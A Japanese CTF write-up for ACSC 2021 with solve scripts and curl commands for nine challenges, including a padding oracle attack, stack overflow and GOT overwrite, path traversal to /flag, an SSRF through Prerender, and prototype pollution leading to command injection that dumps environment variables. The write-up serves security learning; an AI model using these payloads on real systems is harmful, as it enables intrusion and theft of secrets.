どういうコンテストなのかいまいち分かっていない。若者向けのCTF国際大会があって、それのアジア地区代表を決めるためのコンテストなのか? おっさんやアジア地区居住者でない人はeligbleの対象ではないが、コンテストへの参加はご自由にという感じらしい。個人戦。
9問解いて、1701点、28位。
welcome (warmup-1)
Discord。
ACSC{welcome_to_ACSC_2021!}
RSA stream (crypto-100)
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad
from flag import m
#m = b"ACSC{<REDACTED>}" # flag!
f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)
n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)
assert m < n
stream = pow(m,e,n)
cipher = b""
for a in range(0,len(f),256):
q = f[a:a+256]
if len(q) < 256:q = pad(q, 256)
q = bytes_to_long(q)
c = stream ^ q
cipher += long_to_bytes(c,256)
e = gmpy2.next_prime(e)
stream = pow(m,e,n)
open("chal.enc","wb").write(cipher)
指数$e$を変えながらフラグをRSAで暗号化し、それを疑似乱数生成器としたストリーム暗号。
同じ$n$と$m$、異なる$e$で暗号した結果を渡してはいけない。$c_1 = m^{e_1}$と$c_2 = m^{e_2}$からは、$\frac{c_1}{c_2} = m^{e_1-e_2}$が計算でき、これを繰り返すと最終的に$m^1 = m$が求められる。
import gmpy2
from Crypto.Util.number import *
import sys
sys.setrecursionlimit(100000)
n = 30004084769852356813752671105440339608383648259855991408799224369989221653141334011858388637782175392790629156827256797420595802457583565986882788667881921499468599322171673433298609987641468458633972069634856384101309327514278697390639738321868622386439249269795058985584353709739777081110979765232599757976759602245965314332404529910828253037394397471102918877473504943490285635862702543408002577628022054766664695619542702081689509713681170425764579507127909155563775027797744930354455708003402706090094588522963730499563711811899945647475596034599946875728770617584380135377604299815872040514361551864698426189453
e = 65537
f = open("chal.py", "rb").read()
c = open("chal.enc", "rb").read()
c0 = bytes_to_long(f[0:256])^bytes_to_long(c[0:256])
c1 = bytes_to_long(f[256:512])^bytes_to_long(c[256:512])
e0 = e
e1 = gmpy2.next_prime(e)
def gcd(c0, c1, e0, e1):
if e0<e1:
return gcd(c1, c0, e1, e0)
if e0==1:
return c0
return gcd(c0*pow(inverse(c1, n), e0//e1, n)%n, c1, e0%e1, e1)
m = gcd(c0, c1, e0, e1)
print(long_to_bytes(m))
$ python3 solve.py
b'ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e'
ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}
filtered (pwn-100)
:
/* Print `msg` and read `size` bytes into `buf` */
void readline(const char *msg, char *buf, size_t size) {
:
}
:
/* Entry point! */
int main() {
int length;
char buf[0x100];
/* Read and check length */
length = readint("Size: ");
if (length > 0x100) {
print("Buffer overflow detected!\n");
exit(1);
}
入力サイズをチェックしているのでスタックバッファーオーバーフローはできない……という問題。int
としてチェックしているのに、readline
の引数の型はsize_t
なのがダメ。size_t
は符号無しなので、負値を渡すと大きな値になってしまう。後は素直にスタックバッファオーバーフロー。シェルを呼び出す関数win
も用意してくれているので簡単。
from pwn import *
elf = ELF("filtered")
context.binary = elf
s = remote("filtered.chal.acsc.asia", 9001)
s.sendlineafter("Size: ", "-1")
s.sendlineafter("Data: ", b"a"*0x118+pack(elf.symbols.win))
s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/acsc/filtered/filtered'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to filtered.chal.acsc.asia on port 9001: Done
[*] Switching to interactive mode
Bye!
$ ls -al
total 36
drwxr-xr-x 2 nobody pwn 4096 Sep 18 03:11 .
drwxr-xr-x 3 nobody nogroup 4096 Sep 18 03:11 ..
-r-xr-x--- 1 nobody pwn 40 Sep 17 10:48 .redir.sh
-r-xr-x--- 1 nobody pwn 17008 Sep 17 10:48 filtered
-r--r----- 1 nobody pwn 59 Sep 17 10:48 flag-08d995360bfb36072f5b6aedcc801cd7.txt
$ cat flag-08d995360bfb36072f5b6aedcc801cd7.txt
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}
$
sugar (rev-170)
ブートローダーの解析。QEMUのバイナリも入っていて、そのまま動かせるのがありがたい。
disk.imgの中のBOOTX64.EFIをGhidraで開いたら逆コンパイルしてくれた。エラーメッセージで何をやっているかは分かる。ディスクのEFI PART
から0x30バイト後の16バイト(ディスクのGUID?)を、プログラム中の鍵でAES暗号化したものと、入力されたフラグをhex decodeした結果が等しいかを調べている。AESはCBCだけれど、IVが00 00 ...
なのでECB。
from Crypto.Cipher import AES
aes = AES.new(bytes.fromhex("a186282314bb20353fea9fb3b09ef6cd"), AES.MODE_ECB)
flag = "ACSC{"+aes.encrypt(bytes.fromhex("5a504b64d72a3d4ba40aa0fa8e32d35d")).hex()+"}"
print(flag)
$ python3 solve.py
ACSC{91e3de705dee881dcba84e840feb0e24}
$ ./run.sh
Input flag: ACSC{91e3de705dee881dcba84e840feb0e24}
Correct!
ACSC{91e3de705dee881dcba84e840feb0e24}
histogram (pwn-200)
CSVをアップロードするとヒストグラムが表示されるウェブサービス。集計処理をサーバー側のネイティブコードで行っている。
「アップロードできないという問い合わせがいっぱい来ているけれど、修正はしません。お前の環境の問題だから、自分で何とかしろ」というアナウンスがあった。丁寧な対処法もセットで。
これか。
まあ、フロントエンドは飾りなのでどうでもいい。
:
#define WEIGHT_MAX 600 // kg
#define HEIGHT_MAX 300 // cm
#define WEIGHT_STRIDE 10
#define HEIGHT_STRIDE 10
#define WSIZE (WEIGHT_MAX/WEIGHT_STRIDE)
#define HSIZE (HEIGHT_MAX/HEIGHT_STRIDE)
int map[WSIZE][HSIZE] = {0};
int wsum[WSIZE] = {0};
int hsum[HSIZE] = {0};
:
/* Call this function to get the flag! */
void win(void) {
char flag[0x100];
FILE *fp = fopen("flag.txt", "r");
int n = fread(flag, 1, sizeof(flag), fp);
printf("%s", flag);
exit(0);
}
:
int read_data(FILE *fp) {
/* Read data */
double weight, height;
int n = fscanf(fp, "%lf,%lf", &weight, &height);
if (n == -1)
return 1; /* End of data */
else if (n != 2)
fatal("Invalid input");
/* Validate input */
if (weight < 1.0 || weight >= WEIGHT_MAX)
fatal("Invalid weight");
if (height < 1.0 || height >= HEIGHT_MAX)
fatal("Invalid height");
/* Store to map */
short i, j;
i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
j = (short)ceil(height / HEIGHT_STRIDE) - 1;
map[i][j]++;
wsum[i]++;
hsum[j]++;
return 0;
}
:
ceil
が0を返したら範囲外アクセスになっちゃうのではとまず思ったが、weight < 1.0
を弾いているので、1以上しか返さない。weight
が通常の実数ならば。NaN。
#include <stdio.h>
#include <math.h>
int main()
{
double f = NAN;
printf("%d\n", f<1.0);
printf("%d\n", f>=600);
printf("%f\n", ceil(NAN/600));
printf("%d\n", (int)ceil(NAN/600));
printf("%d\n", (short)ceil(NAN/600));
printf("%d\n", (short)ceil(NAN/600)-1);
}
$ gcc test.c -o test && ./test
0
0
nan
-2147483648
0
-1
NaNに対する比較演算子の結果はfalseになる。(int)
だとINT_MIN
になる。へぇ。そのための(short)
か。
負方向への範囲外アクセスができる。map
の上の方にはGOTがある。その関数が1回も呼び出されていなければ、関数のアドレスを取得する.plt
の処理のアドレスが入っているので、インクリメントしてwin
にする。
fclose_plt = 0x404030
fclose_got = 0x401060
win = 0x401268
map = 0x4040a0
for i in range(win-fclose_got):
h = ((fclose_plt-map)//4+30)*10+5
print("nan,%d"%h)
$ python make_csv.py > attack.csv
nan,25
nan,25
nan,25
nan,25
:
520行。
これをアップロードすると、APIの返り値の末尾にフラグが付いている。
{"status":"success","result":{"wsum":[0,0,0,...,0,520]]}}ACSC{NaN_demo_iiyo}
ACSC{NaN_demo_iiyo}
CBCBC (crypto-210)
Wow, free flags! But encrypted with CBC... twice?
CBC(Cipher Block Chaining)のpadding oracle attack。ただし、CBCが2回行われている。2回でも別にやること変わらなくない? と思ったけど、変わるわ。2個目以降のブロックが難しい。
ユーザーを作成するとユーザー名とadminかどうかを暗号化したトークンを返してきて、ユーザー名とトークンでログインができる。ユーザ作成時のユーザー名が空の場合は、なぜかadminのトークンを返してくる。ただし、adminのユーザー名は分からない。Adminのトークンからユーザー名を取り出せれば、adminとしてログインができて勝ち。トークンのパディングが間違っている場合と、入力したユーザー名とトークンのユーザー名が違う場合は、エラーメッセージが別なので、判別できる。
サーバーは、最後のブロックが、... 01
、... 02 02
、... 03 03 03
、…のいずれかの形になっているかどうかを判定するオラクルになる。
$C_1$だけを送り、$IV1$を書き換えると$M_1$の対応するバイトが変わり、それが上記の形になっているかが分かる。後段のencの後の出力を1バイトずつ総当たりできる。これがpadding oracle attack。
2個目のブロックをどうするのかで悩んだけれど、図を描いて考えてみると、$IV2$で同じことができるな。2個目のブロックに対しては、$IV2$は復号処理を通らない。
from pwn import *
from base64 import *
from Crypto.Cipher import AES
s = remote("167.99.77.49", 52171)
#s = process(["python3", "chal.py"])
s.sendlineafter("> ", "1")
s.sendlineafter("Your username: ", "")
s.recvline()
token = b64decode(s.recvline()[:-1])
iv1 = token[:16]
iv2 = token[16:32]
C = [token[i:i+16] for i in range(32, len(token), 16)]
#print(iv1, iv2, C)
def login(iv1, iv2, C):
token = iv1+iv2+b"".join(C)
token = b64encode(token)
s.sendlineafter("> ", "2")
s.sendlineafter("Your username: ", "hoge")
s.sendlineafter("Your token: ", token)
return "Check your token again" not in s.recvline().decode()
# 1st block
m = [0]*16
for p in range(16):
for i in range(256):
m[15-p] = i
iv = bytes(x^(p+1) for x in m)
if login(iv, iv2, [C[0]]):
break
print(bytes(x^y for x, y in zip(iv1, m)))
# 2nd block
m = [0]*16
for p in range(16):
for i in range(256):
m[15-p] = i
iv = bytes(x^(p+1) for x in m)
if login(bytes(16), iv, C[:2]):
break
print(bytes(x^y for x, y in zip(iv2, m)))
$ python3 attack.py
[+] Opening connection to 167.99.77.49 on port 52171: Done
b'~\xc9E\xed\xccC\xb3H\xbbh:}\r\x95\xf23'
b'~\xc9E\xed\xccC\xb3H\xbbh:}\r\x95R3'
b'~\xc9E\xed\xccC\xb3H\xbbh:}\r"R3'
b'~\xc9E\xed\xccC\xb3H\xbbh:} "R3'
b'~\xc9E\xed\xccC\xb3H\xbbh:: "R3'
b'~\xc9E\xed\xccC\xb3H\xbbh": "R3'
b'~\xc9E\xed\xccC\xb3H\xbbe": "R3'
b'~\xc9E\xed\xccC\xb3Hme": "R3'
b'~\xc9E\xed\xccC\xb3ame": "R3'
b'~\xc9E\xed\xccCname": "R3'
b'~\xc9E\xed\xccrname": "R3'
b'~\xc9E\xedername": "R3'
b'~\xc9Esername": "R3'
b'~\xc9username": "R3'
b'~"username": "R3'
b'{"username": "R3'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9f\x01\xb3\xe6\x06p:\xe2s'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9f\x01\xb3\xe6\x06p:is'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9f\x01\xb3\xe6\x06p"is'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9f\x01\xb3\xe6\x06 "is'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9f\x01\xb3\xe6, "is'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9f\x01\xb3", "is'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9f\x01E", "is'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9feE", "is'
b'\xc5\xe1\x83\xb2\x98\xc2\xabreE", "is'
b'\xc5\xe1\x83\xb2\x98\xc2TreE", "is'
b'\xc5\xe1\x83\xb2\x98kTreE", "is'
b'\xc5\xe1\x83\xb2ckTreE", "is'
b'\xc5\xe1\x83ackTreE", "is'
b'\xc5\xe11ackTreE", "is'
b'\xc5B1ackTreE", "is'
b'dB1ackTreE", "is'
2個目のブロックまででユーザー名が分かって良かった。
$ nc 167.99.77.49 52171
Welcome to CBCBC flag sharing service!
You can get the flag free!
This is super-duper safe from padding oracle attacks,
because it's using CBC twice!
=====================================================
1. Create user
2. Log in
3. Exit
> 1
Your username:
Your token:
XSaRYvLRSm23jLZwe9FZhjKCv2aipDSVb/ZRTBkyYdAr1eQDyfR5QWbokoaUxipeGVib5tIJJPHaDq4jsfoYpLOzGN9U6F95qzUkaA/Z/ts=
1. Create user
2. Log in
3. Exit
> 2
Your username: R3dB1ackTreE
Your token: XSaRYvLRSm23jLZwe9FZhjKCv2aipDSVb/ZRTBkyYdAr1eQDyfR5QWbokoaUxipeGVib5tIJJPHaDq4jsfoYpLOzGN9U6F95qzUkaA/Z/ts=
1. Show flag
2. Log out
3. Exit
> 1
ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}
ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}
API (web-220)
ソースコードが酷い。Content-Type: application/json
でJSONを返さないし、パスコードは5文字でブルートフォースされそうだし、モデルの中で$_SESSION
を使うし、グローバル関数にすべき処理がクラスのメソッドにあるし……。簡潔でそれでいて難しい問題は美しいなと思うけれど、その対極。
脆弱性も酷い。
:
function challenge($obj){
if ($obj->is_login()) {
$admin = new Admin();
if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
$cmd = $_REQUEST['c2'];
if ($cmd) {
switch($cmd){
case "gu":
echo json_encode($admin->export_users());
break;
case "gd":
echo json_encode($admin->export_db($_REQUEST['db']));
break;
case "gp":
echo json_encode($admin->get_pass());
break;
case "cf":
echo json_encode($admin->compare_flag($_REQUEST['flag']));
break;
:
$admin->is_admin()
がfalse
ならば処理を打ち切っているように見えて、$admin->redirect
は、<script>location.href = ...
を出力し、location
ヘッダを設定するだけなので、処理が打ち切られない。特に何もしなくても、admin向けの処理が実行できる。
$ curl -k https://api.chal.acsc.asia/api.php -d "id=Kusano1234&pw=Xjwmmejiieeq&c=u"
Register Success!
$ curl -k https://api.chal.acsc.asia/api.php -d "id=Kusano1234&pw=Xjwmmejiieeq&c=i&c2=gu"
<script type='text/javascript'>
location.href = '/api.php?#access denied';
</script>
"The passcode does not equal with your input."
なお、IDとパスワードの先頭は大文字という謎のチェックがある。
$admin->compare_flag
などを実行するにはパスコードが必要だが、そのパスコードを出力する$admin->get_pass()
にはパスコードのチェックが無い。
$ curl -k https://api.chal.acsc.asia/api.php -d "id=Kusano1234&pw=Xjwmmejiieeq&c=i&c2=gp"
<script type='text/javascript'>
location.href = '/api.php?#access denied';
</script>
":<vNk"
$admin->compare_flag()
はこれ。
:
public function compare_flag($flag){
$this->flag = trim(file_get_contents("/flag"));
if ($this->flag == $flag) return "Yess! That's it!";
else return "That's not the flag..";
}
:
main
でウエイトも入っているし、そもそもネットワーク越しだし、タイミング攻撃は非現実的。
$admin->export_db
のディレクトリトラバーサルでフラグのファイルを直接読む。
$ curl -k https://api.chal.acsc.asia/api.php -d "id=Kusano1234&pw=Xjwmmejiieeq&c=i&c2=gd&pas=:<vNk&db=../../../../../flag"
<script type='text/javascript'>
location.href = '/api.php?#access denied';
</script>
[["ACSC{it_is_hard_to_name_a_flag..isn't_it?}\n"]]
CTFの問題になるような綺麗で楽しい脆弱性なんて現実にはそうそうないぞ。本来は、こういう泥臭い作業をして、つまらない脆弱性を探すんだぞ。ということなのかもしれない。これはこれで良い問題。
ACSC{it_is_hard_to_name_a_flag..isn't_it?}
Swap on Curve (crypto-250)
One day, I tried to swap x and y coordinates of a Point on the Curve.
from params import p, a, b, flag, y
x = int.from_bytes(flag, "big")
assert 0 < x < p
assert 0 < y < p
assert x != y
EC = EllipticCurve(GF(p), [a, b])
assert EC(x,y)
assert EC(y,x)
print("p = {}".format(p))
print("a = {}".format(a))
print("b = {}".format(b))
これだけ。美しい……。まあ、解けなかったのだけど。
y^2 = x^3 + ax + b \mod p \\
x^2 = y^3 + ay + b \mod p
という連立方程式を解けと。
WolframAlpah先生に投げてもこんなだし、3乗根は無理だよなぁ……。EC(x,y)+EC(y,x)
がまあまあ綺麗になるけれど、そこからどうしたら良いかは分からん。
Favorite Emojis (web-330)
Dockerネットワーク内の、http://api:8000/ にフラグがある。正常系では、http://api:8000/v1/ 以下にしか行かない。
server {
listen 80;
root /usr/share/nginx/html/;
index index.html;
location / {
try_files $uri @prerender;
}
location /api/ {
proxy_pass http://api:8000/v1/;
}
location @prerender {
proxy_set_header X-Prerender-Token YOUR_TOKEN;
set $prerender 0;
if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest\/0\.|pinterestbot|slackbot|vkShare|W3C_Validator|whatsapp") {
set $prerender 1;
}
if ($args ~ "_escaped_fragment_") {
set $prerender 1;
}
if ($http_user_agent ~ "Prerender") {
set $prerender 0;
}
if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv|doc|avi|ppt|mpg|mpeg|tif|wav|mov|psd|ai|xls|mp4|m4a|swf|dat|dmg|iso|flv|m4v|torrent|ttf|woff|svg|eot)") {
set $prerender 0;
}
if ($prerender = 1) {
rewrite .* /$scheme://$host$request_uri? break;
proxy_pass http://renderer:3000;
}
if ($prerender = 0) {
rewrite .* /index.html break;
}
}
}
http://renderer:3000 はこれ。
これが何かというと、JavaScriptによるレンダリングが終わったHTMLを返してくれる。SPAで、検索エンジンからのアクセスをこっちに振り分けると、HTMLとして返してくれるからSEOに良い、というものらしい。
rewrite
を見るに、これだけだよね……と思ったらタイムアウト。
$ curl http://favorite-emojis.chal.acsc.asia:5000/ -A googlebot -H "Host: api:8000"
$host
にはポート番号は入らず、 http://api/
になってしまう。
<script>
location.href="http://api:8000/";
</script>
を、ポート80でHTTPを提供している(HTTPSにリダイレクトしない)サーバーに置いて、
$ curl http://favorite-emojis.chal.acsc.asia:5000/ -A googlebot -H "Host: my-server.example.com"
<html><head></head><body>ACSC{sharks_are_always_hungry}</body></html>
Prerenderがリダイレクトを処理してくれないからHTTPSにリダイレクトするサーバーが使えず、ちょっと面倒だったのだけど、JavaScriptのリダイレクトは処理してくれるのか。
ちなみに、fetch("http://api:8000/")...
みたいなのはCORSとして弾かれるはず。
この設定は公式サイトで紹介されているもので、「世の中のサイトは大丈夫なのか?」と思ったけど、公式サイトのほうは
:
#resolve using Google's DNS server to force DNS resolution and prevent caching of IPs
resolver 8.8.8.8;
:
があるからセーフなのか。いや、IPアドレスで指定したら通りそうな気も……。
ACSC{sharks_are_always_hungry}
Cowsay as a Service (web-370)
ボタンをポチると参加者ごとに専用のインスタンスを建ててくれる。贅沢。
……それが必要になる脆弱性は1個しかないだろ。Prototype pollution attack。
:
app.use(async (ctx, next) => {
ctx.state.user = ctx.cookies.get('username');
await next();
});
:
router.post('/setting/:name', (ctx, next) => {
if (!settings[ctx.state.user]) {
settings[ctx.state.user] = {};
}
const setting = settings[ctx.state.user];
setting[ctx.params.name] = ctx.request.body.value;
ctx.redirect('/cowsay');
});
:
username="__proto__"
、name="hoge"
、value="fuga"
としてリクエストを投げると、settings.__proto__.hoge="fuga"
が実行される。以降、この環境では、(自分自身がhoge
を持っていない)全てのオブジェクトobj
で、obj.hoge=="fuga"
となる。
任意のオブジェクトの任意のプロパティが書き換えられるわけではなく、本来は持っていないプロパティに値を設定できるだけである。それをどう使うかは考える必要がある。この問題ではここ。
:
router.get('/cowsay', (ctx, next) => {
const setting = settings[ctx.state.user];
const color = setting?.color || '#000000';
let cowsay = '';
if (ctx.request.query.say) {
const result = child_process.spawnSync('/usr/games/cowsay', [ctx.request.query.say], { timeout: 500 });
cowsay = result.stdout.toString();
:
この処理を、
child_process.spawnSync('/usr/games/cowsay', [ctx.request.query.say],
{ timeout: 500, shell: "fuga" });
にできる。shell
に文字列を指定したときは、そのプログラムをシェルとして実行するらしい。
フラグは環境変数に入っているので、"/usr/bin/env"
にするだけで良いかと思ったけど、実行されるコマンドは、
/usr/bin/env -c /usr/games/cowsay aaaa
なので通らない。-c
が付く。
shell
は"/bin/sh"
にして、say
に$(env | grep FLAG)
を渡す。
$ curl -b "username=__proto__" -d "value=/bin/sh" http://ruJXgHGwmUAfSvod:MOtKCocTnUSjXhGr@cowsay-nodes.chal.acsc.asia:64436/setting/shell
Redirecting to <a href="/cowsay">/cowsay</a>.
http://cowsay-nodes.chal.acsc.asia:64436/cowsay?say=$(env%20|%20grep%20FLAG)
_______________________________________
< FLAG=ACSC{(oo)
---------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
フラグがこんなに短くはないだろ……。
$(env | grep FLAG | base64)
http://cowsay-nodes.chal.acsc.asia:64436/cowsay?say=$(env%20|%20grep%20FLAG|base64)
_________________________________________
/ RkxBRz1BQ1NDeyhvbyk8TW9vb29vb29vX0IwOUR \
\ SV1dDU1ghfQo= /
-----------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
デコードして、
FLAG=ACSC{(oo)<Moooooooo_B09DRWWCSX!}
<
が邪魔をしていたのか。
ACSC{(oo)<Moooooooo_B09DRWWCSX!}